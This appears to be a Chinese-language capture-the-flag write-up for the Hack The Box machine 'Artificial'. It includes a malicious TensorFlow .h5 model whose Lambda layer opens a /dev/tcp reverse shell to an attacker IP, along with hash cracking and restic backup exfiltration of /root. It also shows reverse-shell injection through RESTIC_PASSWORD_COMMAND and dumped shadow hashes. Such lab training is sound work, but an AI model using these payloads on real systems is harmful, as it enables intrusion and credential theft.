Artificial
Recon
Ports
rustscan -a 10.129.97.235 -r 20-20000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog :
: https://github.com/RustScan/RustScan :
--------------------------------------
TreadStone was here 🚀
[~] The config file is expected to be at "/home/xz/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
Open 10.129.97.235:22
Open 10.129.97.235:80
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 7c:e4:8d:84:c5:de:91:3a:5a:2b:9d:34:ed:d6:99:17 (RSA)
| 256 83:46:2d:cf:73:6d:28:6f:11:d5:1d:b4:88:20:d6:7c (ECDSA)
|_ 256 e3:18:2e:3b:40:61:b4:59:87:e8:4a:29:24:0f:6a:fc (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://artificial.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.10 seconds
nmap -sU -F -T3 artificial.htb
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 14:01 CST
Stats: 0:01:04 elapsed; 0 hosts completed (1 up), 1 undergoing UDP Scan
UDP Scan Timing: About 72.50% done; ETC: 14:02 (0:00:25 remaining)
Nmap scan report for artificial.htb (10.129.97.235)
Host is up (0.29s latency).
Not shown: 99 closed udp ports (port-unreach)
PORT STATE SERVICE
68/udp open|filtered dhcpc
Nmap done: 1 IP address (1 host up) scanned in 107.16 seconds
开放80端口
进行子域名爆破
gobuster vhost -u http://artificial.htb/ --append-domain -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://artificial.htb/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
[+] Append Domain: true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Progress: 4989 / 4990 (99.98%)
===============================================================
Finished
===============================================================
目录扫描
dirsearch -u http://artificial.htb/
/usr/lib/python3/dist-packages/dirsearch/dirsearch.py:23: DeprecationWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html
from pkg_resources import DistributionNotFound, VersionConflict
_|. _ _ _ _ _ _|_ v0.4.3
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://artificial.htb/
[19:03:31] Starting:
[19:04:36] 302 - 199B - /dashboard -> /login
[19:04:59] 200 - 857B - /login
[19:05:00] 302 - 189B - /logout -> /
[19:05:22] 200 - 952B - /register
无特殊信息。
创建账号登陆后发现存在一个上传功能点,仅支持上传.h5文件。且提示需要python TensorFlow库或者使用docker环境进行模型创建。
这里我使用TensorFlow库,但由于TensorFlow库最高支持python 3.9。而kali对python的更新是最新版本,到目前为止为3.13。
使用pyenv搭建虚拟环境。
pyenv virtualenv 3.9.12 py-3.9
pyenv activate py-3.9
pip install tensorflow
搜索tensorflow相关信息。我发现了这个链接tensorflow的RCE,构造payload并上传。 获得了初始webshell。
import tensorflow as tf
def exploit(x):
import os
os.system("/bin/bash-c '/bin/sh -i >& /dev/tcp/10.10.14.15/4444 0>&1'")
return x
model = tf.keras.Sequential() //
model.add(tf.keras.layers.Input(shape=(64,)))
model.add(tf.keras.layers.Lambda(exploit))
model.compile()
model.save("exploit.h5")
User
在用户app下发现
cd /home/app/app/instance
app@artificial:~/app/instance$ sqlite3 users.db
Enter ".help" for usage hints.
sqlite> select * from user;
1|gael|gael@artificial.htb|c99175974b6e192936d97224638a34f8
2|mark|mark@artificial.htb|0f3d8c76530022670f1c6029eed09ccb
3|robert|robert@artificial.htb|b606c5f5136170f15444251665638b36
4|royer|royer@artificial.htb|bc25b1f80f544c0ab451c02a3dca9fc6
5|mary|mary@artificial.htb|bf041041e57f1aff3be7ea1abd6129d0
6|notthei0204|notthei0204@gmail.com|f0f1f60430a59e920764a7b1be6041fc
7|test123@gmail.com|test123@gmail.com|9a93efa79aa9f5d35e14bc55a3e16dc4
8|n|n@n.com|7b8b965ad4bca0e41ab51de7b31363a1
9|test|test@email.com|098f6bcd4621d373cade4e832627b4f6
10|dd|dd@gmail.com|827ccb0eea8a706c4c34a16891f84e7b
hash解密后得到凭据gael:mattp005numbertwo
。ssh登录。
发现本地开放端口情况:存在9898端口。
ss -antlp
State Recv-Q Send-Q Local Address:Port Peer Address:Port Process
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 127.0.0.53%lo:53 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 2048 127.0.0.1:5000 0.0.0.0:*
LISTEN 0 4096 127.0.0.1:9898 0.0.0.0:*
LISTEN 0 511 [::]:80 [::]:*
LISTEN 0 128 [::]:22 [::]:*
将端口代理出来:
`ssh -fN -L 9898:127.0.0.1:9898 gael@artificial.htb
存在服务backrest 版本号为1.7.2。未发现存在历史漏洞。在本地搜索相关文件。
gael@artificial:~$ find / -name backrest -type d 2>/dev/null
/opt/backrest
/opt/backrest/.config/backrest
这是restic服务的web ui实现,实现备份服务。也许在某个地方会存在归档文件? 不出意料
gael@artificial:/var/backups$ ls -al
total 51228
drwxr-xr-x 2 root root 4096 Jun 24 10:49 .
drwxr-xr-x 13 root root 4096 Jun 2 07:38 ..
-rw-r--r-- 1 root root 38602 Jun 9 10:48 apt.extended_states.0
-rw-r--r-- 1 root root 4253 Jun 9 09:02 apt.extended_states.1.gz
-rw-r--r-- 1 root root 4206 Jun 2 07:42 apt.extended_states.2.gz
-rw-r--r-- 1 root root 4190 May 27 13:07 apt.extended_states.3.gz
-rw-r--r-- 1 root root 4383 Oct 27 2024 apt.extended_states.4.gz
-rw-r--r-- 1 root root 4379 Oct 19 2024 apt.extended_states.5.gz
-rw-r--r-- 1 root root 4367 Oct 14 2024 apt.extended_states.6.gz
-rw-r----- 1 root sysadm 52357120 Mar 4 22:19 backrest_backup.tar.gz
发现了backrest_backup.tar.gz文件,下载下来。解压
file ./backup.tar.gz
./backup.tar.gz: POSIX tar archive (GNU)
tar -xvf ./backup.tar.gz
backrest/
backrest/restic
backrest/oplog.sqlite-wal
backrest/oplog.sqlite-shm
backrest/.config/
backrest/.config/backrest/
backrest/.config/backrest/config.json
backrest/oplog.sqlite.lock
backrest/backrest
backrest/tasklogs/
backrest/tasklogs/logs.sqlite-shm
backrest/tasklogs/.inprogress/
backrest/tasklogs/logs.sqlite-wal
backrest/tasklogs/logs.sqlite
backrest/oplog.sqlite
backrest/jwt-secret
backrest/processlogs/
backrest/processlogs/backrest.log
backrest/install.sh
cat backrest/.config/backrest/config.json
{
"modno": 2,
"version": 4,
"instance": "Artificial",
"auth": {
"disabled": false,
"users": [
{
"name": "backrest_root",
"passwordBcrypt": "JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP"
}
]
}
}
采用的Bcrypt算法,base64解码后使用hashcat解密
echo 'JDJhJDEwJGNWR0l5OVZNWFFkMGdNNWdpbkNtamVpMmtaUi9BQ01Na1Nzc3BiUnV0WVA1OEVCWnovMFFP' | base64 -d
$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO
hashcat -a 0 -m 3200 '$2a$10$cVGIy9VMXQd0gM5ginCmjei2kZR/ACMMkSsspbRutYP58EBZz/0QO' /usr/share/wordlists/rockyou.txt
得到:backrest_root:!@#$%^
。登录系统。
Root
这里我发现了两个方法,
- 创建一个存储库后可运行命令
结合GTFObins,可以备份/root目录文件到本地。
### 本地执行
./rest-server --no-auth --listen :4000 --path /tmp/restic
Data directory: /tmp/restic
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on [::]:4000
Creating repository directories in /tmp/restic/restic
restic restore -r "/tmp/restic/restic" latest --target ./data
### 目标执行
(restic) init -r "rest:http://10.10.14.15:4000/restic"
(restic) backup -r "rest:http://10.10.14.15:4000/restic" "/root"
### 本地执行
##检查是否备份到本地
restic snapshots -r /tmp/restic/restic
enter password for repository:
repository d0696809 opened (version 2, compression level auto)
ID Time Host Tags Paths Size
-----------------------------------------------------------------------
fccdc983 2025-06-24 23:44:06 artificial /root 4.300 MiB
-----------------------------------------------------------------------
1 snapshots
restic restore -r "/tmp/restic/restic" latest --target ./data
//拷贝成功
ls -al
total 60
drwx------ 11 kalier kalier 4096 Jun 24 23:40 .
drwxrwxr-x 4 kalier kalier 4096 Jun 24 23:51 ..
lrwxrwxrwx 1 kalier kalier 9 Jun 9 17:37 .bash_history -> /dev/null
-rw-r--r-- 1 kalier kalier 3106 Dec 5 2019 .bashrc
drwxr-xr-x 3 kalier kalier 4096 Mar 4 05:52 .cache
drwxr-xr-x 3 kalier kalier 4096 Oct 19 2024 .local
-rw-r--r-- 1 kalier kalier 161 Dec 5 2019 .profile
lrwxrwxrwx 1 kalier kalier 9 Oct 19 2024 .python_history -> /dev/null
drwx------ 2 kalier kalier 4096 Mar 5 06:40 .ssh
-r-------- 1 kalier kalier 155 Jun 24 23:40 config
drwx------ 258 kalier kalier 4096 Jun 24 23:40 data
drwx------ 2 kalier kalier 4096 Jun 24 23:40 index
drwx------ 2 kalier kalier 4096 Jun 24 23:40 keys
drwx------ 2 kalier kalier 4096 Jun 24 23:40 locks
-rw-r----- 1 kalier kalier 33 Jun 24 17:56 root.txt
drwxr-xr-x 2 kalier kalier 4096 Jun 9 21:57 scripts
drwx------ 2 kalier kalier 4096 Jun 24 23:40 snapshots
- 滥用环境变量
这里我们不设置密码时要求我们设置这三个变量之一。其中的RESTIC_PASSWORD_COMMAND或许可以执行任意命令?可以进行尝试。 直接填入revshell命令
$ sudo rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.15] from (UNKNOWN) [10.129.98.230] 49666
bash: cannot set terminal process group (4646): Inappropriate ioctl for device
bash: no job control in this shell
root@artificial:/# whoami
whoami
root
root@artificial:/#
相同的我在GitHub readme界面也发现了相同的一个BACKREST_RESTIC_COMMAND
进行尝试后,我发现RESTIC_PASSWORD_COMMAND能够进行执行任意命令,它是Restic 备份工具的一个环境变量,用于动态获取备份仓库的密码,而不是直接将密码硬编码在脚本或配置文件中。这种方式可以提高安全性,尤其适合自动化备份场景。
3. 利用系统本身特性,设置脚本执行时间为最短(等一个小时)。也可以拿到/root路径下的文件。
root@artificial:/# cat /root/root.txt
cat /root/root.txt
ac42518afd7d951fc8aba1168ea4b1da
root@artificial:/# cat /etc/shadow
cat /etc/shadow
root:$6$UUrrHE6LTPdhmLil$v9nJaHljuUC0gR5HBAqVWvnDVgYoNYE6EvjIEGNykwadZ8w8gOu212j5bipzK72.nBtx/0h4z4CPki/Ac2f1i1:20015:0:99999:7:::
daemon:*:19430:0:99999:7:::
bin:*:19430:0:99999:7:::
sys:*:19430:0:99999:7:::
sync:*:19430:0:99999:7:::
games:*:19430:0:99999:7:::
man:*:19430:0:99999:7:::
lp:*:19430:0:99999:7:::
mail:*:19430:0:99999:7:::
news:*:19430:0:99999:7:::
uucp:*:19430:0:99999:7:::
proxy:*:19430:0:99999:7:::
www-data:*:19430:0:99999:7:::
backup:*:19430:0:99999:7:::
list:*:19430:0:99999:7:::
irc:*:19430:0:99999:7:::
gnats:*:19430:0:99999:7:::
nobody:*:19430:0:99999:7:::
systemd-network:*:19430:0:99999:7:::
systemd-resolve:*:19430:0:99999:7:::
systemd-timesync:*:19430:0:99999:7:::
messagebus:*:19430:0:99999:7:::
syslog:*:19430:0:99999:7:::
_apt:*:19430:0:99999:7:::
tss:*:19430:0:99999:7:::
uuidd:*:19430:0:99999:7:::
tcpdump:*:19430:0:99999:7:::
landscape:*:19430:0:99999:7:::
pollinate:*:19430:0:99999:7:::
fwupd-refresh:*:19430:0:99999:7:::
usbmux:*:19971:0:99999:7:::
sshd:*:19971:0:99999:7:::
systemd-coredump:!!:19973::::::
gael:$6$ZgkOwXDgoK.yOfv9$7gGQcVFbMepHAPCW.qS/1z87V5p15x4RokWKwNvFXqwo3QLEfFx2GaJs1JqbZ81i/uLy7bJ8TYk4dQYXQpeEC0:20015:0:99999:7:::
lxd:!:19973::::::
app:$6$1CKnP41b8QhfYnAx$b88.zZJfVQ84SBkePAyzIsXdA/w6wvUVq4c2ExOho0RIY8iS43bdJbBPHYdttqqNvBV.H6noc2EFkdBlbb5WL.:20015:0:99999:7:::
mysql:!:19975:0:99999:7:::
_laurel:!:20248::::::
Summary
easy靶机,通过一个大模型python库的RCE获得初始立足点,然后通过备份文件获取到系统的凭据信息。再通过对Restic的sudo权限滥用或者backrest的环境变量滥用获得root权限。